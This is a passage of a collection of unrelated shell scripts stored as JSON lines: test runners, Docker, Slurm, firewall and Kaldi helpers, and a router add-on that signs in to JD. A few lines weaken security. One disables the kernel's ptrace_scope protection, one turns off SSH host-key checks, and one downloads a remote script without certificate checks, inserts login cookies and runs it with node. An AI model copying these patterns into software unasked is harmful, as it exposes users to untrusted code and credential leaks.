[[ $code -ne 0 ]]; then\n RETURN_CODE=$code\n ((FAILED_COUNT++))\n fi\nelse\n echo \"Running all unit & integration tests...\"\n declare -a tests=(test/integration/fire_cloud_client_test.rb\n test/integration/cache_management_test.rb\n test/integration/tos_acceptance_test.rb\n test/integration/study_creation_test.rb\n test/integration/study_validation_test.rb\n test/integration/taxons_controller_test.rb\n test/controllers/analysis_configurations_controller_test.rb\n test/controllers/site_controller_test.rb\n test/api/site_controller_test.rb\n test/api/studies_controller_test.rb\n test/api/study_files_controller_test.rb\n test/api/study_file_bundles_controller_test.rb\n test/api/study_shares_controller_test.rb\n test/api/directory_listings_controller_test.rb\n test/models/cluster_group_test.rb\n test/models/user_annotation_test.rb\n test/models/parse_utils_test.rb\n test/models/analysis_configuration_test.rb\n )\n for test_name in ${tests[*]}; do\n bundle exec ruby -I test $test_name\n code=$? # immediately capture exit code to prevent this from getting clobbered\n if [[ $code -ne 0 ]]; then\n RETURN_CODE=$code\n ((FAILED_COUNT++))\n fi\n done\nfi\necho \"Cleaning up...\"\nbundle exec bin/rails runner -e test \"Study.destroy_all\" # destroy all studies to clean up any files\nbundle exec rake RAILS_ENV=test db:purge\necho \"Cleanup complete!\"\nend=$(date +%s)\ndifference=$(($end - $start))\nmin=$(($difference / 60))\nsec=$(($difference % 60))\necho \"Total elapsed time: $min minutes, $sec seconds\"\nif [[ $RETURN_CODE -ne 0 ]]; then\n\tprintf \"\\n### There were $FAILED_COUNT errors/failed test suites in this run ###\\n\\n\"\nfi\necho \"Exiting with code: $RETURN_CODE\"\nexit $RETURN_CODE"} {"text": "10-100\ncd ..\ndocker run -v $(pwd):/app/mnt --env \"config_file=$2\" coflows/ce $1 build"} {"text": "0\n~/spark-2.2.0-bin-hadoop2.7/bin/spark-submit --master spark://bigdata-VirtualBox:7077 --class ch.bfh.cas.bgd.ta.spark.Application ~/develop/wn_similarity/target/uber-similarity-0.0.1-SNAPSHOT.jar pg103.txt pg158.txt pg161.txt pg164.txt pg18857.txt pg42671.txt pg42671.txt"} {"text": "zhangkunpeng/starlingx-workshop\n#!/bin/bash\n\n# NOTE: Should perhaps be using docker save/load of multiple images?\n\nrepo=\"localhost:5000\"\n\necho \"INFO: creating /tmp/images.yml\"\necho \"---\" > /tmp/images.yml\necho \"container_images:\" > /tmp/images.yml\nwhile read line; do\n image_name=`echo $line | cut -f 1 -d \" \"`\n image_tag=`echo $line | tr -s \" \" | cut -f 2 -d \" \"`\n echo \"image is $image_name\"\n echo \"tag is $image_tag\"\n clean_image_name=`echo $line | sed \"s/\\//_/g\" | cut -f 1 -d \" \"`\n clean_image_tag=`echo $line | tr -s \" \" | sed \"s/\\//_/g\" | cut -f 2 -d \" \"`\n save_file=$clean_image_name-$clean_image_tag.tgz \n # Removing the \"repo\" name from the images. Must be a better way?\n # config_controller looks for $repo/$short_name without repo name\n if [[ \"$image_name\" =~ quay* ]] ; then\n short_name=${image_name#\"quay.io/\"}\n elif [[ \"$image_name\" =~ k8s* ]] ; then\n short_name=${image_name#\"k8s.gcr.io/\"} \n elif [[ \"$image_name\" =~ gcr* ]] ; then\n short_name=${image_name#\"gcr.io/\"}\n else\n short_name=$image_name\n fi\n# docker tag $image_name:$image_tag $repo/$short_name:$image_tag\n# echo \"INFO: docker push $repo/$short_name:$image_tag\"\n# docker push $repo/$short_name:$image_tag\n cat << EOF >> /tmp/images.yml\n - name: \"$image_name\"\n tag: \"$image_tag\"\n short_name: \"$short_name\"\n file_name: \"$save_file\"\nEOF\ndone < /tmp/images.txt\n\necho \"INFO: place the contents of /tmp/images.yml into the default/main.yml file for\"\necho \"INFO: the docker-registry role\""} {"text": "1-10\n#!/bin/bash\nPROGNAME=$(basename $0)\nISSELF=false\nSOURCE_FILE=\"\"\nc_dir=\"\"\n\nusage () {\n echo \"$PROGNAME: usage: $PROGNAME [-s | --self] [-f file | --file file]\n [-s | --self] create dir with same name for each file , default create dir name backup in work dir \n [-f file | --file file] soure file , single file or a dir\n \"\n return\n}\n\nfilter_download(){\n grep -oE \"\\!\\[.*?\\]\\(https?:\\/\\/.*?\\)\" $1 | sed -E \"s/(\\!\\[.*\\]\\()(https?:\\/\\/.+)(.*\\))/\\2/gi\" |xargs wget -cN -P $2\n}\n\nparse_file (){\n if [[ -f $1 ]];then\n file_name=$(basename $1) \n if $ISSELF;then\n c_dir=$(dirname $1)'/'${file_name%.*}\n if filter_download $1 $c_dir ;then\n echo $1\n fi\n else\n if filter_download $1 backup'/'${file_name%.*};then\n echo $1\n fi\n \n fi\n else\n echo \"wrong file path\"\n return 1\n fi\n}\n\nparse_dir(){\n for file in `ls $1`\n do\n filePath=$1\"/\"$file\n if [[ -d $filePath ]] ;then\n parse_dir $filePath\n elif [[ -f $filePath ]]&& [[ ${filePath##*.} =~ [Mm][Dd] ]];then\n parse_file $filePath\n fi\n done\n}\n\n## 读取参数\nwhile [[ -n $1 ]]; do\n case $1 in\n -s | --self) ISSELF=true\n ;;\n -f | --file) \n shift\n SOURCE_FILE=\"$1\"\n ;;\n -h | --help) usage >&2\n exit 0\n ;;\n *) usage >&2\n exit 1\n ;;\n esac\n shift\ndone\nif [[ -z $SOURCE_FILE ]];then\n SOURCE_FILE=.\nfi\nif [[ -f $SOURCE_FILE ]];then\n parse_file $SOURCE_FILE\nelif [[ -d $SOURCE_FILE ]];then\n parse_dir $SOURCE_FILE\nfi"} {"text": "getSwarmJoinTokens.sh\n#!/usr/bin/env bash\n# Credits to https://github.com/knpwrs/docker-swarm-terraform\nset -e\n\n# parse JSON from stdin; this is the external datasource's 'query' dictionary:\neval \"$(jq -r '@sh \"_MGR_HOST=\\(.host) _USER=\\(.user) _SSH_PRIV_KEY=\\(.private_key) _SSH_PORT=\\(.port)\"')\"\n\n_MGR_TOKEN=$(ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p $_SSH_PORT -i $_SSH_PRIV_KEY \\\n $_USER@$_MGR_HOST docker swarm join-token manager -q)\n\n_WRKR_TOKEN=$(ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p $_SSH_PORT -i $_SSH_PRIV_KEY \\\n $_USER@$_MGR_HOST docker swarm join-token worker -q)\n\n# result needs to be JSON as well:\njq -n --arg manager \"$_MGR_TOKEN\" --arg worker \"$_WRKR_TOKEN\" '{\"manager\":$manager,\"worker\":$worker}'"} {"text": "#!/bin/sh\n\ncd `dirname \"$0\"`/tests\n../tap/runtests -b /tmp ./*test_*\nret=$?\ncd -\n\nreturn $ret"} {"text": "collectors/scm/github/docker/github-properties-builder.sh0\n#!/bin/bash\n\nif [ \"$SKIP_PROPERTIES_BUILDER\" = true ]; then\n echo \"Skipping properties builder\"\n exit 0\nfi\n\n# mongo container provides the HOST/PORT\n# api container provided DB Name, ID & PWD\n\nif [ \"$TEST_SCRIPT\" != \"\" ]\nthen\n #for testing locally\n PROP_FILE=application.properties\nelse \n\tPROP_FILE=hygieia-github-scm-collector.properties\nfi\n #if [ \"$MONGO_PORT\" != \"\" ]; then\n #HYGIEIA_MONGODB_PORT=tcp://172.30.53.1:27017\necho \"Using Port: $HYGIEIA_MONGODB_PORT_27017_TCP_PORT\"\nif [ \"$HYGIEIA_MONGODB_PORT_27017_TCP_PORT\" != \"\" ]; then\n\t# Sample: MONGO_PORT=tcp://172.17.0.20:27017\n\tMONGODB_HOST=`echo $HYGIEIA_MONGODB_PORT|sed 's;.*://\\([^:]*\\):\\(.*\\);\\1;'`\n\tMONGODB_PORT=`echo $HYGIEIA_MONGODB_PORT|sed 's;.*://\\([^:]*\\):\\(.*\\);\\2;'`\nelse\n\tenv\n\techo \"ERROR: MONGO_PORT not defined\"\n\texit 1\nfi\n\necho \"MONGODB_HOST: $MONGODB_HOST\"\necho \"MONGODB_PORT: $MONGODB_PORT\"\n\n\ncat > $PROP_FILE <\n\n#Collector schedule (required)\ngithub.cron=${GITHUB_CRON:-0 0/5 * * * *}\n\ngithub.host=${GITHUB_HOST:-github.com}\n\n#Maximum number of days to go back in time when fetching commits\ngithub.commitThresholdDays=${GITHUB_COMMIT_THRESHOLD_DAYS:-15}\n\n#Optional: Error threshold count after which collector stops collecting for a collector item. Default is 2.\ngithub.errorThreshold=${GITHUB_ERROR_THRESHOLD:-1}\n\n#This is the key generated using the Encryption class in core\ngithub.key=${GITHUB_KEY}\n\n#personal access token generated from github and used for making authentiated calls\ngithub.personalAccessToken=${PERSONAL_ACCESS_TOKEN}\n\nEOF\n\necho \"\n\n===========================================\nProperties file created `date`: $PROP_FILE\nNote: passwords hidden\n===========================================\n`cat $PROP_FILE |egrep -vi password`\n \"\n\nexit 0"} {"text": "2021-closer/02_dtsm/step1_ANSIBLE/files/db/configure.sh\n#!/bin/bash\n\nif [[ -d \"/docker-entrypoint-initdb.d\" ]]; then\n find . -type f -name '*.sql' -exec cp {} /docker-entrypoint-initdb.d \\;\nelse\n file_name=$(find /opt -type f -name '*.sql')\n cat \"$file_name\" | mysql -u root --password=\"${}\"\nfi\nexit 0"} {"text": "magnetikonline/web-server-install-ubuntu-12.04\n#!/bin/bash -e\n\nDIRNAME=$(dirname \"$0\")\n\n\nntpdate ntp.ubuntu.com\nlogrotate /etc/logrotate.conf"} {"text": "liweitianux/DeltaPorts10-100\n--- src/corelib/test/test_ncbi_system.sh.orig\t2015-07-27 16:49:00 UTC\n+++ src/corelib/test/test_ncbi_system.sh\n@@ -25,7 +25,7 @@ case \"`uname -s`\" in\n test $test_mem -eq 0 -o $test_mem -eq 255 || exit 1\n test $test_cpu -eq 255 -o $test_cpu -eq 137 || exit 1\n ;;\n- Darwin | FreeBSD )\n+ Darwin | DragonFly | FreeBSD )\n test $test_mem -eq 0 -o $test_mem -eq 134 -o $test_mem -eq 255 || exit 1\n test $test_cpu -eq 255 -o $test_cpu -eq 137 || exit 1\n ;;"} {"text": "multi-module/wait-for-infrastructure.sh\n#! /bin/bash\n\n./_wait-for-services.sh $DOCKER_HOST_IP \"8099\""} {"text": "ANALYSIS/T0/ROI/ROI.sh\n#! /bin/sh\n\n# note, to run this you have to type the following:\n\n# source make_sphere_roi.sh \n\n# \t\t is an image that has the same resolution as the image you want to apply the ROI to.\n\n#\t\t\t\tNOTE: this image either has to be in the folder you are launching the command from, or has to have a full path.\n\n#\t\t are the ROI coordinates\n\n#\t\t is the width of the ROI. If you will always want it to be the same (say 10mm), then you can just delete the $5\n\n#\t\t\t\tin the line starting with \"echo\", and replace the '$5' in the last line with the number you want (e.g. 10).\n\n#\n\n#\tScript by ()\n\necho \"******************************\"\n\necho \"Input image: ${1} \"\n\necho \"ROI coordinates: ${2} ${3} ${4} \"\n\necho \"ROI size: ${5} \"\n\nset p=`pwd`\n\nfslmaths ${1} -roi $2 1 $3 1 $4 1 0 1 ${p}/tmp_point_mask\n\nfslmaths ${p}/tmp_point_mask -kernel sphere $5 -fmean -bin ${p}/mask_sphere_${2}-${3}-${4} -odt float\n\nrm ${p}/tmp_point_mask.*\n\necho \"Done! The output file is called 'mask_sphere_${2}-${3}-${4}_${5}mm' \"\n\necho \" \""} {"text": "#!/usr/bin/env bash\n# Basic script to add / remove firewall configuration for ALVR\n# Usage: ./alvr_fw_config.sh add|remove\n# Exit codes:\n# 1 - Invalid command\n# 2 - Invalid action\n# 3 - Failed to copy UFW configuration\n# 99 - Feature not implemented\n# 126 - pkexec failed - Request dismissed\n\niptables_cfg() {\n exit 99\n}\n\nfirewalld_cfg() {\n # Iterate around each active zone\n for zone in $(firewall-cmd --get-active-zones | grep -P '^\\w+.*\\w$'); do\n if [ \"${1}\" == 'add' ]; then\n # If running or permanent alvr service is missing, add it\n if ! firewall-cmd --zone=\"${zone}\" --list-services | grep 'alvr' >/dev/null 2>&1; then\n firewall-cmd --zone=\"${zone}\" --add-service='alvr'\n fi\n if ! firewall-cmd --zone=\"${zone}\" --list-services --permanent | grep 'alvr' >/dev/null 2>&1; then\n firewall-cmd --zone=\"${zone}\" --add-service='alvr' --permanent\n fi\n elif [ \"${1}\" == 'remove' ]; then\n # If running or persistent alvr service exists, remove it\n if firewall-cmd --zone=\"${zone}\" --list-services | grep 'alvr' >/dev/null 2>&1; then\n firewall-cmd --zone=\"${zone}\" --remove-service='alvr'\n fi\n if firewall-cmd --zone=\"${zone}\" --list-services --permanent | grep 'alvr' >/dev/null 2>&1; then\n firewall-cmd --zone=\"${zone}\" --remove-service='alvr' --permanent\n fi\n else\n exit 2\n fi\n done\n}\n\nufw_cfg() {\n # Try and install the application file\n if ! ufw app info 'alvr'; then\n # Pull application file from local build first if the script lives inside it\n if [ -f \"$(dirname $(realpath ${0}))/ufw-alvr\" ]; then\n cp \"$(dirname $(realpath ${0}))/ufw-alvr\" '/etc/ufw/applications.d/'\n elif [ -f '/usr/share/alvr/ufw-alvr' ]; then\n cp '/usr/share/alvr/ufw-alvr' '/etc/ufw/applications.d/'\n else\n exit 3\n fi\n fi\n\n if [ \"${1}\" == 'add' ] && ! ufw status | grep 'alvr' >/dev/null 2>&1; then\n ufw allow 'alvr'\n elif [ \"${1}\" == 'remove' ] && ufw status | grep 'alvr' >/dev/null 2>&1; then\n ufw delete allow 'alvr'\n else\n exit 2\n fi\n}\n\nmain() {\n # If we're not root use pkexec for GUI prompt\n if [ \"${USER}\" == 'root' ]; then\n # Check if firewall-cmd exists and firewalld is running\n if which firewall-cmd >/dev/null 2>&1 && firewall-cmd --state >/dev/null 2>&1; then\n firewalld_cfg \"${1,,}\"\n # Check if ufw exists and is running\n elif which ufw >/dev/null 2>&1 && ! ufw status | grep 'Status: inactive' >/dev/null 2>&1; then\n ufw_cfg \"${1,,}\"\n # Check if iptables exists\n elif which iptables >/dev/null 2>&1; then\n iptables_cfg \"${1,,}\"\n fi\n else\n pkexec $(realpath \"${0}\") \"${@}\"\n fi\n}\n\nmain \"${@}\""} {"text": "#!/usr/bin/env bash\n\ncp ./deploy/production/dotenv ./.env"} {"text": "#!/usr/local/bin/bash\n\n#http://www.apache.org/licenses/LICENSE-2.0.txt\n#\n#\n#Copyright 2016 Intel Corporation\n#\n#Licensed under the Apache License, Version 2.0 (the \"License\");\n#you may not use this file except in compliance with the License.\n#You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n#Unless required by applicable law or agreed to in writing, software\n#distributed under the License is distributed on an \"AS IS\" BASIS,\n#WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n#See the License for the specific language governing permissions and\n#limitations under the License.\n\nset -e\nset -u\nset -o pipefail\n\n__dir=\"$(cd \"$(dirname \"${BASH_SOURCE[0]}\")\" && pwd)\"\n__proj_dir=\"$(dirname \"$__dir\")\"\n\n# shellcheck source=scripts/common.sh\n. \"${__dir}/common.sh\"\n\n_go_path\n\n_go_get github.com/Masterminds/glide\n\n_info \"restoring dependency with glide\"\n(cd \"${__proj_dir}\" && glide install)"} {"text": "0\n# Copyright 2019 The Android Open Source Project\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\nCONTAINER_ID=$1\nshift\nPARAMS=\"$@\"\ndocker run \\\n --device /dev/kvm \\\n --publish 8554:8554/tcp \\\n --publish 5554:5554/tcp \\\n --publish 5555:5555/tcp \\\n -e TOKEN=\"$(cat ~/.emulator_console_auth_token)\" \\\n -e ADBKEY=\"$(cat ~/.android/adbkey)\" \\\n -e TURN \\\n -e EMULATOR_PARAMS=\"${PARAMS}\" \\\n ${CONTAINER_ID}"} {"text": "LIB_STATIC_DEPS=\"utils alg config_helpers tinyexpr sds\"\n\nCHECK_CUSTOM_FILE\n\nCOMPILE_SHARED_LIB \"default_matrix_assembly\" \"matrix_assembly.c ${CUSTOM_FILE}\" \"\" \"${LIB_STATIC_DEPS}\"\n\nif [ -n \"$COMPILE_WITH_DDM\" ]; then\n COMPILE_SHARED_LIB \"ddm_matrix_assembly\" \"ddm_matrix_assembly.c\" \"\" \"${LIB_STATIC_DEPS}\"\nfi\n\nCOMPILE_SHARED_LIB \"purkinje_matrix_assembly\" \"purkinje_matrix_assembly.c\" \"\" \"${LIB_STATIC_DEPS}\"\n\nCOMPILE_SHARED_LIB \"purkinje_coupling_matrix_assembly\" \"purkinje_coupling_matrix_assembly.c\" \"\" \"${LIB_STATIC_DEPS}\""} {"text": "#!/bin/bash\n\n#curl http://ip.comax.fr ; echo\ncurl http://ipecho.net/plain; echo"} {"text": "10-100\n# ipdiff.sh\n# For non-shared BMC LAN channels, take the OS IP and add an increment,\n# then run pefconfig -I to set the new BMC LAN IP.\n#\n# eth: Get the OS IP from eth0 by default\n# incr: Increment is 128. by default\n# Customers may wish to customize the $eth and $incr parameters below to\n# vary these for their network environments.\n#\n# This produces a series of systems with IP addresses allocated like this:\n# OS IP BMC LAN IP\n# system1 192.168.0.1 192.168.0.129\n# system2 192.168.0.2 192.168.0.130\n# system3 192.168.0.3 192.168.0.131\n# ...\neth=eth0\nincr=128\nip=`ifconfig $eth |grep \"inet addr:\" |cut -f2 -d':' |awk '{print $1}'`\nlast=`echo $ip |cut -f4 -d'.'`\nfirst=`echo $ip |cut -f1-3 -d'.'`\nsysname=`uname -n`\n\nnewlast=`expr $last + $incr`\nif [ $newlast -ge 255 ]\nthen\n # overflow, so wrap IP (could return error instead)\n newlast=`expr $newlast - 255`\nfi\nnewip=${first}.${newlast}\necho \"$sysname: $eth IP = $ip, BMC IP = $newip\"\nipmiutil lan -e -I $newip"} {"text": "events/delete-schedule-targets.sh\n#!/bin/sh\n\nset -e\n\n# Delete the targets\naws events remove-targets \\\n --rule ebs-worker-schedule \\\n --targets \"ebs-backup-snapshotter\" \"ebs-backup-janitor\""} {"text": "#!/bin/bash\n\necho \"=====starting mock test=====\"\n\n# 准备工作\nCUR_DIR=$(cd $(dirname $0); pwd)\n\nnohup python3 -m http.server 8080 &\n\ncd ${CUR_DIR}/../src\nmake\nmake clean\n./proxy 8000 10 &\n\ncurl \"127.0.0.1:8080\" > a.out\n\n\n# 开始mock测试,同时10个客户端请求服务器\n\n# 如果是Linux系统,请使用client_linux代替client_mac\ncp ../client/client_mac .\n./client_mac --num=10 --proxy=\"127.0.0.1:8000\" --url=\"127.0.0.1:8080\"\n\nsleep 1\n\nfor ((i=0; i < 10; i++))\ndo\n if [ ! -f ${i}.out ]\n then\n echo \"=====mock test failed=====\"\n echo \"file ${i}.out not exit\"\n continue\n fi\n\n diff a.out ${i}.out > b.out\n\n if [ -s b.out ]\n then\n echo \"=====mock test failed=====\"\n echo \"file ${i}.out: content in diff file:\"\n cat b.out\n fi\ndone\n\n# 收尾工作\necho \"=====mock test done=====\"\n\nrm -f proxy client_mac rm -f *.out\ncd ${CUR_DIR}\nrm -f nohup.out\nps aux | grep \"ython -m http.server 8080\" | grep -v \"grep\" | awk '{print $2}' | xargs kill -9\nps aux | grep \"proxy 8000\" | grep -v \"grep\" | awk '{print $2}' | xargs kill -9"} {"text": "echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope"} {"text": "#!/bin/bash\n\n# Copyright 2012-2013 Johns Hopkins University (Author: ).\n# Apache 2.0.\n\n# This script does decoding with a neural-net. If the neural net was built on\n# top of fMLLR transforms from a conventional system, you should provide the\n# --transform-dir option.\n\n# Begin configuration section.\nstage=1\nnj=4 # number of decoding jobs. If --transform-dir set, must match that number!\nacwt=0.1 # Just a default value, used for adaptation and beam-pruning..\ncmd=run.pl\nbeam=15.0\nmax_active=7000\nmin_active=200\nlattice_beam=8.0 # Beam we use in lattice generation.\nnum_threads=4\nfeat_type=raw\n\n. ./path.sh; # source the path.\n. ./utils/parse_options.sh || exit 1;\n\nif [ $# -ne 6 ]; then\n echo \"Usage: $0 [options] \"\n echo \"main options (for others, see top of script file)\"\n echo \" --transform-dir # directory of previous decoding\"\n echo \" # where we can find transforms for SAT systems.\"\n echo \" --config # config containing options\"\n echo \" --nj # number of parallel jobs\"\n echo \" --cmd # Command to run in parallel with\"\n echo \" --beam # Decoding beam; default 15.0\"\n echo \" --num-threads # number of threads to use, default 1.\"\n exit 1;\nfi\n\ngraph_dir=$1\ndata_dir=$2\nmodel=$3\nunknown_phone=$4\nsilence_phone=$5\ndecode_dir=$6\n\n# make sure graph, dnn, and features are in place\nfor f in \\\n $graph_dir/HCLG.fst \\\n $model \\\n $data_dir/feats.scp;\n do [ ! -f $f ] && echo \"$0: no such file $f\" && exit 1;\ndone\n\n# make data and log dirs\nsdata=$data_dir/split$nj;\nmkdir -p $decode_dir/log\n[[ -d $sdata && $data_dir/feats.scp -ot $sdata ]] \\\n || split_data.sh $data_dir $nj \\\n || exit 1;\necho $nj > $decode_dir/num_jobs\n\n\n\nif [ $stage -le 1 ]; then\n\n printf \"\\n#### BEGIN DECODING ####\\n\"\n\n # Define testing audio features\n feats=\"ark,s,cs:copy-feats scp:$sdata/JOB/feats.scp ark:- |\"\n\n # Decode features with AM and graph\n $cmd --num-threads $num_threads JOB=1:$nj $decode_dir/log/decode.JOB.log \\\n nnet-latgen-faster-parallel \\\n --max-active=$max_active \\\n --min-active=$min_active \\\n --beam=$beam \\\n --lattice-beam=$lattice_beam \\\n --acoustic-scale=$acwt \\\n --allow-partial=true \\\n --word-symbol-table=$graph_dir/words.txt \\\n \"$model\" \\\n $graph_dir/HCLG.fst \\\n \"$feats\" \\\n \"ark:|gzip -c > $decode_dir/lat.JOB.gz\" \\\n || exit 1;\n\n printf \"\\n#### END DECODING ####\\n\"\n\nfi\n\n\n\nif [ $stage -le 2 ]; then\n\n printf \"\\n#### BEGIN SCORING ####\\n\"\n \n local/score.sh \\\n --cmd \"$cmd\" \\\n $data_dir \\\n $graph_dir \\\n $decode_dir \\\n $unknown_phone \\\n $silence_phone \\\n || exit 1;\n\n printf \"\\n#### END SCORING ####\\n\"\n\nfi\n\nexit 0;"} {"text": "timmykuo/mitpipeline\n#!/bin/bash\n#$1 is filename\n#$2 is script name\n#$3 is slurm directory\n#$4 is start directory\n#$5 is out directory\n#$6 is the tools directory \n# $7 is steps directory\n# $8 is the refs directory \n# $9 is email address\nif [ ! -f $3/$2_$1.slurm ];\nthen\nFILE=\"$3/$2_$1.slurm\"\ntouch $3/$2_$1.slurm\necho '#!/bin/bash' >> $FILE\necho '#SBATCH -n 1' >> $FILE\necho '#SBATCH -N 1' >> $FILE\necho '#SBATCH --time=12:00:00' >> $FILE\necho '#SBATCH -J '\"$2_$1\" >> $FILE\necho '#SBATCH --mail-user='\"$9\" >> $FILE\necho '#SBATCH --mail-type=ALL' >> $FILE\necho '#SBATCH --mem='\"50\"'GB' >> $FILE\necho 'bash '\"$7\"'/'\"$2\" \"$1 $4 $5 $6 $7 $8\"' >> '\"$3\"'/STDOUT'\"$2\"'_'\"$1\"'.out 2>&1' >> $FILE\nsleep 1\nfi\n\nsleep 1\n#run slurm job\nN=4\nbatchId=`sbatch $3/$2_$1.slurm | awk -v N=$N '{print $N}'`\n\nid=`echo \"$9\" | awk -F@ '{print $1}'`\nqueue=$(squeue -u $id)\ninQueue=$(echo \"$queue\" | grep $batchId)\n#if the batchid is still within the squeue output\nwhile [ ! -z \"$inQueue\" ]\ndo\nsleep 1m\nqueue=$(squeue -u tyk3)\ninQueue=$(echo \"$queue\" | grep $batchId)\ndone"} {"text": "#!/bin/sh\n#\n# Copyright (C) 2020 luci-app-jd-dailybonus <>\n#\n# This is free software, licensed under the GNU General Public License v3.\n# See /LICENSE for more information.\n#\n# 501 下载脚本出错\n# 101 没有新版本无需更新\n# 0 更新成功\n\nNAME=jd-dailybonus\nTEMP_SCRIPT=/tmp/JD_DailyBonus.js\nJD_SCRIPT=/usr/share/jd-dailybonus/JD_DailyBonus.js\nLOG_HTM=/www/JD_DailyBonus.htm\nCRON_FILE=/etc/crontabs/root\nusage() {\n cat <<-EOF\n\t\tUsage: app.sh [options]\n\t\tValid options are:\n\n\t\t -a Add Cron\n\t\t -n Check \n\t\t -r Run Script\n\t\t -u Update Script From Server\n\t\t -s Save Cookie And Add Cron\n\t\t -w Background Run With Wechat Message\n\t\t -h Help\nEOF\n exit $1\n}\n\n# Common functions\n\nuci_get_by_name() {\n local ret=$(uci get $NAME.$1.$2 2>/dev/null)\n echo ${ret:=$3}\n}\n\nuci_get_by_type() {\n local ret=$(uci get $NAME.@$1[0].$2 2>/dev/null)\n echo ${ret:=$3}\n}\n\ncancel() {\n if [ $# -gt 0 ]; then\n echo \"$1\"\n fi\n exit 1\n}\n\nfill_cookie() {\n cookie1=$(uci_get_by_type global cookie)\n if [ ! \"$cookie1\" = \"\" ]; then\n varb=\"var Key = '$cookie1';\"\n a=$(sed -n '/var Key =/=' $JD_SCRIPT)\n b=$((a-1))\n sed -i \"${a}d\" $JD_SCRIPT\n sed -i \"${b}a ${varb}\" $JD_SCRIPT\n fi\n\n cookie2=$(uci_get_by_type global cookie2)\n if [ ! \"$cookie2\" = \"\" ]; then\n varb2=\"var DualKey = '$cookie2';\"\n aa=$(sed -n '/var DualKey =/=' $JD_SCRIPT)\n bb=$((aa-1))\n sed -i \"${aa}d\" $JD_SCRIPT\n sed -i \"${bb}a ${varb2}\" $JD_SCRIPT\n fi\n\n stop=$(uci_get_by_type global stop)\n if [ ! \"$stop\" = \"\" ]; then\n varb3=\"var stop = $stop;\"\n sed -i \"s/^var stop =.*/$varb3/g\" $JD_SCRIPT\n fi\n}\n\nadd_cron() {\n sed -i '/jd-dailybonus/d' $CRON_FILE\n [ $(uci_get_by_type global auto_run 0) -eq 1 ] && echo '5 '$(uci_get_by_type global auto_run_time)' * * * sleep '$(expr $(head -n 128 /dev/urandom | tr -dc \"0123456789\" | head -c4) % 180)'s; /usr/share/jd-dailybonus/newapp.sh -w' >>$CRON_FILE\n [ $(uci_get_by_type global auto_update 0) -eq 1 ] && echo '1 '$(uci_get_by_type global auto_update_time)' * * * /usr/share/jd-dailybonus/newapp.sh -u' >>$CRON_FILE\n crontab $CRON_FILE\n}\n\n# Run Script\n\nserverchan() {\n sckey=$(uci_get_by_type global serverchan)\n failed=$(uci_get_by_type global failed)\n desc=$(cat /www/JD_DailyBonus.htm | grep -E '签到号|签到概览|签到奖励|其他奖励|账号总计|其他总计' | sed 's/$/&\\n/g')\n serverurlflag=$(uci_get_by_type global serverurl)\n serverurl=https://sc.ftqq.com/\n if [ \"$serverurlflag\" = \"sct\" ]; then\n serverurl=https://sctapi.ftqq.com/\n fi\n if [ $failed -eq 1 ]; then\n grep \"Cookie失效\" /www/JD_DailyBonus.htm > /dev/null\n if [ $? -eq 0 ]; then\n title=\"$(date '+%Y年%m月%d日') 京东签到 Cookie 失效\"\n wget-ssl -q --output-document=/dev/null --post-data=\"text=$title~&desp=$desc\" $serverurl$sckey.send\n fi\n else\n title=\"$(date '+%Y年%m月%d日') 京东签到\"\n wget-ssl -q --output-document=/dev/null --post-data=\"text=$title~&desp=$desc\" $serverurl$sckey.send\n fi\n\n}\n\nrun() {\n fill_cookie\n echo -e $(date '+%Y-%m-%d %H:%M:%S %A') >$LOG_HTM 2>/dev/null\n [ ! -f \"/usr/bin/node\" ] && echo -e \"未安装node.js,请安装后再试!\\nNode.js is not installed, please try again after installation!\">>$LOG_HTM && exit 1\n node $JD_SCRIPT >>$LOG_HTM 2>/dev/null\n}\n\nback_run() {\n run\n sleep 1s\n serverchan\n}\n\nsave() {\n fill_cookie\n add_cron\n}\n\n# Update Script From Server\ndownload() {\n REMOTE_SCRIPT=$(uci_get_by_type global remote_url)\n wget-ssl --user-agent=\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36\" --no-check-certificate -t 3 -T 10 -q $REMOTE_SCRIPT -O $TEMP_SCRIPT\n return $?\n}\n\nget_ver() {\n echo $(cat $1 | sed -n '/更新时间/p' | awk '{for (i=1;i<=NF;i++){if ($i ~/v/) {print $i}}}' | sed 's/v//')\n}\n\ncheck_ver() {\n download\n if [ $? -ne 0 ]; then\n cancel \"501\"\n else\n echo $(get_ver $TEMP_SCRIPT)\n fi\n}\n\nupdate() {\n download\n if [ $? -ne 0 ]; then\n cancel \"501\"\n fi\n if [ -e $JD_SCRIPT ]; then\n local_ver=$(get_ver $JD_SCRIPT)\n else\n local_ver=0\n fi\n remote_ver=$(get_ver $TEMP_SCRIPT)\n cp -r $TEMP_SCRIPT $JD_SCRIPT\n fill_cookie\n uci set jd-dailybonus.@global[0].version=$remote_ver\n uci commit jd-dailybonus\n cancel \"0\"\n}\n\nwhile getopts \":alnruswh\" arg; do\n case \"$arg\" in\n a)\n add_cron\n exit 0\n ;;\n l)\n serverchan\n exit 0\n ;;\n n)\n check_ver\n exit 0\n ;;\n r)\n run\n exit 0\n ;;\n u)\n update\n exit 0\n ;;\n s)\n save\n exit 0\n ;;\n w)\n back_run\n exit 0\n ;;\n h)\n usage 0\n ;;\n esac\ndone"} {"text": "#!/usr/bin/env bash\n\nset -e\n\ncd service && git pull\ncd kernel && git pull && cd ../external_modules\ncd context && git pull && cd ..\ncd journal && git pull && cd ..\ncd preprocessor && git pull && cd ..\ncd postprocessor && git pull && cd ../../..\ncd widget && git pull && cd ..\ncd engine && git pull && cd .."} {"text": "1-10\n#!/usr/bin/env bash\n\nexport DOCKER_BUILDKIT=1\nexport COMPOSE_DOCKER_CLI_BUILD=1\n\ndocker-compose up -d --build"} {"text": "upload-new-version.sh\n#!/bin/bash 